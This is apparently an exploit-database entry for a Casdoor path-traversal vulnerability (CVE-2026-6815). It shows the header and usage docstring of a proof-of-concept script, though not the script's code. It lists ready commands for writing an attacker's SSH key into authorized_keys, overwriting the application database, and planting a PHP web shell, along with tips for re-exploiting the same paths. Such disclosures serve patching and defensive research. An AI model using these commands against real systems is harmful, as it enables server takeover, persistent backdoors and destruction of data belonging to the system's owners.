Casdoor 3.54.1 – Arbitrary File Write via Path Traversal
# Exploit Title: Casdoor 3.54.1 - Arbitrary File Write via Path Traversal # Date: 2026-05-11 # Exploit Author: sixpain # Vendor Homepage: https://casdoor.org/ # Software Link: https://github.com/casdoor/casdoor # Version: < 3.54.1 # Tested on: Linux / Docker # CVE : CVE-2026-6815 """ Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815) ================================================ DESCRIPTION: This script exploits a Path Traversal vulnerability in the storage provider management component of Casdoor. By creating a 'Local File System' provider with a manipulated 'pathPrefix', an authenticated administrator can bypass the storage sandbox to write, overwrite, or delete arbitrary files on the underlying host filesystem. IMPACT: - Remote Code Execution (RCE) via SSH key injection or web shell upload. - Persistent Denial of Service (DoS) by corrupting core application binaries or database files (e.g., casdoor.db). USAGE EXAMPLES: 1. SSH Key Injection for RCE: python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys 2. Persistent DoS (Database Corruption): python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db 3. Reverse Shell (via secondary web server webroot): python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php TROUBLESHOOTING & TECHNICAL NOTES: - APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application and 'built-in' organization. If you have credentials for custom namespaces, specify them using the --appname and --orgname flags. - FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique remote path. Casdoor's resource management logic prevents direct subsequent overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the resource name if the entry already exists in the application's internal database. To re-exploit the same path, the specific resource entry must usually be deleted via the UI/API or a different provider name must be used. - PERMISSIONS: Exploitation success is dependent on the OS-level permissions of the user account running the Casdoor service. - VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.
